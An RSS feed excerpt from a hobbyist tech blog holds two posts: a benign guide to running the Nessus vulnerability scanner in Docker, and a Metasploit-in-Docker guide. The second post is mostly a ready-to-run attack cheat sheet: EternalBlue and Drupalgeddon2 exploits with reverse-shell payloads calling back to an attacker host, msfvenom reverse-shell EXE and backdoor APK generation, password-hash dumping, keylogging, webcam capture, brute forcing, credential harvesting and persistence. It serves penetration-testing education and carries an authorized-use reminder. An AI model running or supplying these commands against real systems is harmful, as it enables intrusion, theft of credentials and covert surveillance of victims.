					<comments>https://hamradio.my/2025/07/deploying-tenable-nessus-in-docker-fast-portable-vulnerability-scanning/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Tue, 01 Jul 2025 18:12:23 +0000</pubDate>
				<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[digital security]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[cloudsecurity]]></category>
		<category><![CDATA[containersecurity]]></category>
		<category><![CDATA[devsecops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[ethicalhacking]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[linuxsecurity]]></category>
		<category><![CDATA[nessus]]></category>
		<category><![CDATA[penetrationtesting]]></category>
		<category><![CDATA[tenable]]></category>
		<category><![CDATA[vulnerabilitymanagement]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8155</guid>

					<description><![CDATA[<p>Tenable Nessus has long been a trusted tool in the cybersecurity world for identifying vulnerabilities, misconfigurations, and compliance issues. And now, deploying it has never been easier—with Docker. In this post, we’ll walk through how to deploy Tenable Nessus inside a Docker container, why it can be a powerful move for security teams and penetration [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/deploying-tenable-nessus-in-docker-fast-portable-vulnerability-scanning/">Deploying Tenable Nessus in Docker: Fast, Portable Vulnerability Scanning</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 class="wp-block-heading"></h1>



<p class="wp-block-paragraph">Tenable Nessus has long been a trusted tool in the cybersecurity world for identifying vulnerabilities, misconfigurations, and compliance issues. And now, deploying it has never been easier—with Docker.</p>



<p class="wp-block-paragraph">In this post, we’ll walk through how to deploy Tenable Nessus inside a Docker container, why it can be a powerful move for security teams and penetration testers, and how to get started quickly. Whether you&#8217;re running vulnerability scans on your internal infrastructure or integrating Nessus into your CI/CD pipeline, this setup gives you portability, repeatability, and convenience.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What is Tenable Nessus?</h2>



<p class="wp-block-paragraph">Tenable Nessus is one of the most widely used vulnerability scanners on the market. It helps IT and security professionals:</p>



<ul class="wp-block-list">
<li>Identify security vulnerabilities (e.g., CVEs, open ports, weak credentials)</li>



<li>Detect misconfigurations across operating systems, applications, and devices</li>



<li>Ensure compliance with standards such as CIS Benchmarks, HIPAA, PCI-DSS, and NIST</li>



<li>Perform regular scans on internal and external assets</li>
</ul>



<p class="wp-block-paragraph">There are different flavors: <strong>Nessus Essentials</strong>, <strong>Nessus Professional</strong>, and <strong>Nessus Manager</strong>, with capabilities ranging from standalone use to centrally managed scanning nodes.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Use Docker for Nessus?</h2>



<p class="wp-block-paragraph">Running Nessus in Docker has several benefits:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a1.png" alt="⚡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Quick to deploy</strong>: One command and it’s running.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Isolated environment</strong>: Great for testing or short-term assessments.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f501.png" alt="🔁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Repeatable</strong>: Spin up identical scanner environments anywhere.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4bb.png" alt="💻" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Multi-arch</strong>: Available for x86_64 and AArch64 (including Raspberry Pi!).</li>
</ul>



<p class="wp-block-paragraph">However, keep in mind:</p>



<ul class="wp-block-list">
<li>Nessus <strong>does not support persistent storage</strong> in Docker, so the configuration is lost if the container is removed.</li>



<li>Not recommended to <strong>share the same NIC</strong> with other containers for security/isolation reasons.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Getting Started: Deploy Nessus with Docker</h2>



<h3 class="wp-block-heading">1. <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f419.png" alt="🐙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Install Docker</h3>



<p class="wp-block-paragraph">Make sure you have Docker installed:</p>



<pre class="wp-block-code"><code>docker --version
</code></pre>



<p class="wp-block-paragraph">If not, install Docker via your OS package manager or from <a href="https://www.docker.com">https://www.docker.com</a>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">2. <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pull the Nessus Docker Image</h3>



<p class="wp-block-paragraph">Pull the official image from Docker Hub:</p>



<pre class="wp-block-code"><code>docker pull tenable/nessus:latest-ubuntu
</code></pre>



<p class="wp-block-paragraph">Other available tags:</p>



<ul class="wp-block-list">
<li><code>latest-oracle</code></li>



<li>Specific versions like <code>10.6.1-ubuntu</code> or <code>10.6.1-oracle</code></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">3. <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6a8.png" alt="🚨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Run the Container</h3>



<p class="wp-block-paragraph">Here’s a typical command to launch Nessus:</p>



<pre class="wp-block-code"><code>docker run -d \
  --name nessus \
  -p 8834:8834 \
  -e USERNAME=admin \
  -e PASSWORD=SuperSecurePassword \
  -e ACTIVATION_CODE=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX \
  tenable/nessus:latest-ubuntu
</code></pre>



<h4 class="wp-block-heading">Environment Variables:</h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Variable</th><th>Description</th></tr></thead><tbody><tr><td><code>USERNAME</code></td><td>Admin username to set up Nessus</td></tr><tr><td><code>PASSWORD</code></td><td>Password for the admin user</td></tr><tr><td><code>ACTIVATION_CODE</code></td><td>Nessus activation code</td></tr><tr><td><code>LINKING_KEY</code></td><td>(Optional) Key for linking to Tenable.io</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4cc.png" alt="📌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <em>Note</em>: You can also link to Tenable Vulnerability Management or Tenable Security Center by setting additional linking variables.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">4. <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Access the Web UI</h3>



<p class="wp-block-paragraph">Open your browser and go to:</p>



<ul class="wp-block-list">
<li><code>https://localhost:8834</code> for local machines</li>



<li><code>https://&lt;host-ip>:8834</code> for remote access</li>
</ul>



<p class="wp-block-paragraph">Ignore the SSL warning (self-signed certificate) and proceed.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f9.png" alt="🧹" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Stop and Remove the Container</h2>



<p class="wp-block-paragraph">To stop and remove the Nessus container:</p>



<pre class="wp-block-code"><code>docker stop nessus
docker rm nessus
</code></pre>



<p class="wp-block-paragraph">Keep in mind: <strong>No data is saved</strong> after removing the container unless you’ve built in some backup method.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Uses for Nessus</h2>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Regular vulnerability assessments across internal networks</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Penetration testing and red team recon</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Testing new devices in isolated environments</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e1.png" alt="🛡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Compliance audits and configuration hardening</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Automation with CI/CD pipelines for security scanning</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> External perimeter scanning (hosted on cloud VPS)</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pro Tips</h2>



<ul class="wp-block-list">
<li>Always run Nessus in a secure and trusted network environment.</li>



<li>Use <code>docker logs nessus</code> to view startup logs if something goes wrong.</li>



<li>Consider using a reverse proxy (e.g., Traefik, NGINX) with HTTPS termination for cleaner access.</li>



<li>Avoid using default ports in production to reduce scanning visibility.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ce.png" alt="📎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> References</h2>



<ul class="wp-block-list">
<li><a href="https://hub.docker.com/r/tenable/nessus">Tenable Nessus Docker Hub</a></li>



<li><a href="https://docs.tenable.com/">Tenable Official Documentation</a></li>



<li><a href="https://docs.tenable.com/nessus/Content/Docker.htm">Nessus Environment Variables</a></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">Using Docker to deploy Nessus gives you the flexibility to test, scan, and assess environments rapidly. Just remember: without persistent storage, it&#8217;s a stateless scanner—perfect for CI/CD jobs, assessments, or isolated testing, but not for long-term use unless container persistence is manually handled.</p>
<p>The post <a href="https://hamradio.my/2025/07/deploying-tenable-nessus-in-docker-fast-portable-vulnerability-scanning/">Deploying Tenable Nessus in Docker: Fast, Portable Vulnerability Scanning</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/deploying-tenable-nessus-in-docker-fast-portable-vulnerability-scanning/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Penetration Testing with Metasploit Docker Image</title>
		<link>https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/</link>
					<comments>https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Tue, 01 Jul 2025 17:58:53 +0000</pubDate>
				<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[digital security]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[cybersec]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockersecurity]]></category>
		<category><![CDATA[ethicalhacker]]></category>
		<category><![CDATA[ethicalhacking]]></category>
		<category><![CDATA[exploitdev]]></category>
		<category><![CDATA[hackingtools]]></category>
		<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[linuxsecurity]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploitdocker]]></category>
		<category><![CDATA[metasploitframework]]></category>
		<category><![CDATA[msfconsole]]></category>
		<category><![CDATA[msfvenom]]></category>
		<category><![CDATA[networksecurity]]></category>
		<category><![CDATA[offensivesecurity]]></category>
		<category><![CDATA[payloadgeneration]]></category>
		<category><![CDATA[penetrationtesting]]></category>
		<category><![CDATA[postexploitation]]></category>
		<category><![CDATA[privilegeescalation]]></category>
		<category><![CDATA[redteam]]></category>
		<category><![CDATA[reverseshell]]></category>
		<category><![CDATA[securityresearch]]></category>
		<category><![CDATA[socialengineering]]></category>
		<category><![CDATA[vulnerabilityassessment]]></category>
		<category><![CDATA[vulnhub]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8152</guid>

					<description><![CDATA[<p>🛠️ What is Metasploit Framework? The Metasploit Framework is one of the most powerful and widely used penetration testing tools in the cybersecurity world. It provides security professionals, researchers, and ethical hackers with an extensive set of tools to test system vulnerabilities, exploit known weaknesses, and develop custom exploits. Whether you&#8217;re simulating attacks for learning [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/">Penetration Testing with Metasploit Docker Image</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What is Metasploit Framework?</h2>



<p class="wp-block-paragraph">The Metasploit Framework is one of the most powerful and widely used penetration testing tools in the cybersecurity world. It provides security professionals, researchers, and ethical hackers with an extensive set of tools to test system vulnerabilities, exploit known weaknesses, and develop custom exploits. Whether you&#8217;re simulating attacks for learning purposes or conducting professional red team assessments, Metasploit offers a flexible and modular environment tailored for the job.</p>



<p class="wp-block-paragraph">Developed and maintained by Rapid7, the framework supports thousands of exploits, payloads, encoders, and post-exploitation modules. From network scanning to privilege escalation, Metasploit remains a go-to toolkit for anyone serious about offensive security.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Metasploit in Docker: Portable Pen Testing</h2>



<p class="wp-block-paragraph">If you&#8217;re looking for an easy way to run Metasploit without setting it up from scratch, you&#8217;re in luck. The official Docker image, <code>metasploitframework/metasploit-framework</code>, lets you run the full framework in a containerized environment—no need to deal with complex dependencies or installation headaches.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Use the Docker Image?</h3>



<p class="wp-block-paragraph">Running Metasploit via Docker offers several benefits:</p>



<ul class="wp-block-list">
<li><strong>Quick Setup</strong>: Pull the image and go—no need to install Ruby or configure PostgreSQL.</li>



<li><strong>Isolation</strong>: Keeps your host system clean by running everything in a sandboxed container.</li>



<li><strong>Portability</strong>: Move your pen-testing toolkit anywhere Docker runs.</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Getting Started</h3>



<p class="wp-block-paragraph">To get started, just run:</p>



<pre class="wp-block-code"><code>docker pull metasploitframework/metasploit-framework
</code></pre>



<p class="wp-block-paragraph">This will download the latest available image (last updated over a year ago at the time of writing), which is around <strong>715 MB</strong> in size. While it&#8217;s not the most lightweight image, it includes everything you need to start using Metasploit right away.</p>



<p class="wp-block-paragraph">Once downloaded, you can launch Metasploit like this:</p>



<pre class="wp-block-code"><code>docker run -it metasploitframework/metasploit-framework
</code></pre>



<p class="wp-block-paragraph">You’ll be dropped into <code>msfconsole</code>, the interactive command-line interface for Metasploit. From there, you can begin scanning, exploiting, and exploring.</p>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Metasploit Use Cases</h2>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50e.png" alt="🔎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 1. <strong>Information Gathering</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> TCP Port Scan</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set THREADS 50
run
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Banner Grabbing</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.105
run
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SMB Version Detection</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.105
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a5.png" alt="💥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 2. <strong>Exploitation</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6a8.png" alt="🚨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> EternalBlue (MS17-010)</h4>



<pre class="wp-block-code"><code>use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set LHOST 192.168.1.99
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6a8.png" alt="🚨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Exploiting a Web Server (Drupalgeddon)</h4>



<pre class="wp-block-code"><code>use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.1.120
set TARGETURI /drupal
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.99
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f41a.png" alt="🐚" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 3. <strong>Payload Generation</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ec.png" alt="🧬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Windows Reverse Shell EXE</h4>



<pre class="wp-block-code"><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=4444 -f exe &gt; shell.exe
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ec.png" alt="🧬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Android Backdoor APK</h4>



<pre class="wp-block-code"><code>msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=4444 -o backdoor.apk
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a5.png" alt="🖥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 4. <strong>Post-Exploitation</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Dump Windows Hashes</h4>



<pre class="wp-block-code"><code>meterpreter &gt; hashdump
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Record Keystrokes</h4>



<pre class="wp-block-code"><code>meterpreter &gt; keyscan_start
meterpreter &gt; keyscan_dump
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Take Webcam Snapshot</h4>



<pre class="wp-block-code"><code>meterpreter &gt; webcam_snap
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Escalate Privileges (Local Exploit Suggestor)</h4>



<pre class="wp-block-code"><code>run post/multi/recon/local_exploit_suggester
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f575.png" alt="🕵" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 5. <strong>Brute Force Attacks</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SSH Brute Force</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.105
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SMB Login Bruteforce</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.0/24
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f1.png" alt="🧱" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 6. <strong>Pivoting / Routing</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Add Route via Compromised Session</h4>



<pre class="wp-block-code"><code>route add 192.168.2.0 255.255.255.0 1
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Use SOCKS Proxy via Metasploit</h4>



<pre class="wp-block-code"><code>use auxiliary/server/socks_proxy
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e1.png" alt="📡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 7. <strong>Social Engineering Attacks</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3a3.png" alt="🎣" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Clone a Login Page (Credential Harvesting)</h4>



<pre class="wp-block-code"><code>use auxiliary/server/capture/http_basic
set REALM "Login Required"
set SRVPORT 8080
set URIPATH /
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f916.png" alt="🤖" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 8. <strong>Automation with Resource Scripts</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dc.png" alt="📜" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Auto-Run Script Example</h4>



<p class="wp-block-paragraph">Create <code>exploit.rc</code>:</p>



<pre class="wp-block-code"><code>use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set LHOST 192.168.1.99
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
</code></pre>



<p class="wp-block-paragraph">Then run:</p>



<pre class="wp-block-code"><code>msfconsole -r exploit.rc
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 9. <strong>Maintaining Access</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ec.png" alt="🧬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Persistent Reverse Shell</h4>



<pre class="wp-block-code"><code>run persistence -U -i 5 -p 4444 -r 192.168.1.99
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c2.png" alt="📂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Upload and Execute Payload Later</h4>



<pre class="wp-block-code"><code>meterpreter &gt; upload shell.exe C:\\Users\\Victim\\AppData\\Roaming\\
meterpreter &gt; execute -f C:\\Users\\Victim\\AppData\\Roaming\\shell.exe
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 10. <strong>Exploit Development</strong></h3>



<pre class="wp-block-code"><code>cd ~/.msf4/modules/exploits/custom/
nano my_custom_exploit.rb
# Write module using Ruby, then reload
msfconsole &gt; reload_all
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Reminder</h2>



<p class="wp-block-paragraph">These commands are for <strong>educational and authorized use only</strong>. Always have permission before testing on any network or system.</p>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Resources</h2>



<p class="wp-block-paragraph">Metasploit comes with an active development community and plenty of documentation:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Official Site: <a href="https://metasploit.com">https://metasploit.com</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> GitHub Repo: <a href="https://github.com/rapid7/metasploit-framework">https://github.com/rapid7/metasploit-framework</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f41b.png" alt="🐛" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Bug Reports: <a href="https://r-7.co/MSF-BUGv1">https://r-7.co/MSF-BUGv1</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4da.png" alt="📚" class="wp-smiley" style="height: 1em; max-height: 1em;" /> API Docs: <a href="https://rapid7.github.io/metasploit-framework/api">https://rapid7.github.io/metasploit-framework/api</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4d8.png" alt="📘" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Tutorials: <a href="https://www.offensive-security.com/metasploit-unleashed/">Metasploit Unleashed</a> and <a href="https://github.com/rapid7/metasploit-framework/wiki">community wiki</a></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f465.png" alt="👥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Contributing to Metasploit</h2>



<p class="wp-block-paragraph">Interested in contributing? Head to the <a href="https://github.com/rapid7/metasploit-framework/wiki/Development-Environment">Dev Environment Setup Guide</a> on GitHub. It walks you through installing dependencies, setting up your local environment, and submitting pull requests.</p>



<p class="wp-block-paragraph">Metasploit is open-source and welcomes contributors—from seasoned developers to hobbyist hackers—so don’t hesitate to get involved.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e9.png" alt="🧩" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">The Metasploit Docker image makes it easier than ever to start hacking—legally and ethically, of course. Whether you&#8217;re testing your own systems or learning how attackers operate, having a containerized version of Metasploit streamlines the process and gets you into <code>msfconsole</code> faster than ever.</p>
